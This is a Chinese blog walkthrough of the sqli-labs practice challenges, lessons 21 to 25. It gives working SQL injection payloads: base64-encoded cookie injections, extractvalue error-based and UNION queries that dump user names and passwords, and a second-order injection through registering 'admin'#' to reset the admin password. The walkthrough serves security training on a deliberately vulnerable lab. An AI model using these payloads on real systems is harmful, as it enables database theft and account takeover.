sql-labs page2(21~38) 解题过程记录

目录

less-21( 基于错误的复杂的字符型Cookie注入)

less -22(基于错误的双引号字符型Cookie注入)

less-23(基于错误的,过滤注释的GET型)

less-24(二次注入)

less-25 (过滤了or和and)

less-25a(过滤了or和and的盲注)

less-26(过滤了注释和空格的注入)

less-26(过滤了空格和注释的盲注)

less-27(过滤了union和select的)

less-27a(过滤union 和select 的双引号型盲注)

less-28(基于错误的,有括号的单引号字符型,过滤了union和select等的注入)

less-28a(基于盲注的,有括号的单引号字符型,过滤了union和select等的注入)

less-29(基于WAF的一个错误)

less-30(Get-Blind Havaing with WAF)

less-31(FUN with  WAF)

less-32(GET-Bypass custom filter adding slashes to dangerous chars(GET-Bypass自定义过滤器为危险的字符添加斜杠)

less-33(GET-Bypass AddSlashes() )

less -34(POST-Bypass AddSlasches() )

less-35(GET-Bypass Add Slashes(we don't need them)Integer based)

less-36(GET-Bypass MYSQL_real_escape_string)

less-37(POST- Bypass MYSQL_real_escape_string)

less-38(Future Editions) 终于是最后一题了卍卍卍卍


less-21( 基于错误的复杂的字符型Cookie注入)

输入admin 和admin :发现cookie 中的uname 经过了加密,瞅一眼是base64 

 

那还和上题一样,只不过需要把 cookie : 的注入信息先经过base64 的加密

还有一点需要注意: 就是cookie的闭合方式:单引号 和 括号的闭合方式


 

Cookie:select 1,2,group_concat(username,0x3a,password) from users #

//密文

Cookie: c2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyAjICAgICAgIA==

less -22(基于错误的双引号字符型Cookie注入)

和less-21 差不多,不同的是$cookee1的闭合方式:这里需要用双引号闭合

// 数据库名

admin" and extractvalue(1,concat(0x7e,(database()))) #


// 表名
admin" and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema = database()))) #

// column_name

admin" and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name = 'users'))) #

//脱库

admin" and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password)from users))) #


这里发现输出不完 ,太长了,那换一种写法,一行一行来输出,通过 不断改变 limit 


admin" and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1))) #

密文:YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGNvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKWZyb20gdXNlcnMgbGltaXQgMSwxKSkpICM=


less-23(基于错误的,过滤注释的GET型)

查看源码:发现注释符被替换为空

这里不能用 order by 来查询有几个字段

原因:

where与order by是子句,and是操作符,用于where子句。
在MySQL的执行顺序中,where是远在order by前面的。

在第一个查询语句中,id='1' and '1'='1'作为where的条件,先被执行,得到结果集;然后是order by,因结果集中无第四个字段所以报错。

在第二个查询语句中,order by在where的条件中,在where执行时被忽略了,结果集生成后并未再执行order by

这里可以用union来查询 字段:
 

//报错
?id=1' union select 1,2,3,4 or '1'='1
// 正常
?id=1' union select 1,2,3 or '1'='1

爆库payload

?id=' union select 1,2,database() '


爆表payload

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '


爆列名payload

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '


爆值payload

?id=-1' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

这里ID = -1 不用多说了吧,使左边查询为空,腾出回显位

当输入:

?id=' union select 5,4,3 or '1'='1

时:

这个 1 是从哪里来的呢?  其实是select 中有3块,3_column 和后面的 or ‘1’ and ‘1’ 组成的条件恒为真 所以为 1

这说明了这里的回显位为后两个,2_column 和 3_column ,所以我们在注入的时候要保证 3_column 的条件恒为 假,才能输出信息

less-24(二次注入)

我们先注册一个新账户:  admin'#   和     123456 进入后的界面

然后我们修改密码:

把密码修改为 123123

此时我们修改的是  admin 的密码 而不是 admin'#  账户的密码

可以试一试:

修改完成后就可以 用  admin 和 123123 登录

用 admin'#   和 123456 还是可以登录   用admin'#  和 123123 不能登录

 注入成功

或者我们 用 admin 加  4个空格   注册用户名   也是可以的

或者运用信息截断也可以   比如 数据中的uname 字段的类型为 varcher(10)(这里我们不知道长度是多少假设是10),那么我们可以注册 “admin+5个空格+a“ 

这时超出长度的字符串被截断 在数据库中只会存入  admin +5个空格

less-25 (过滤了or和and)

输入 : ?id=1 提示说过滤了 and 和 or

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值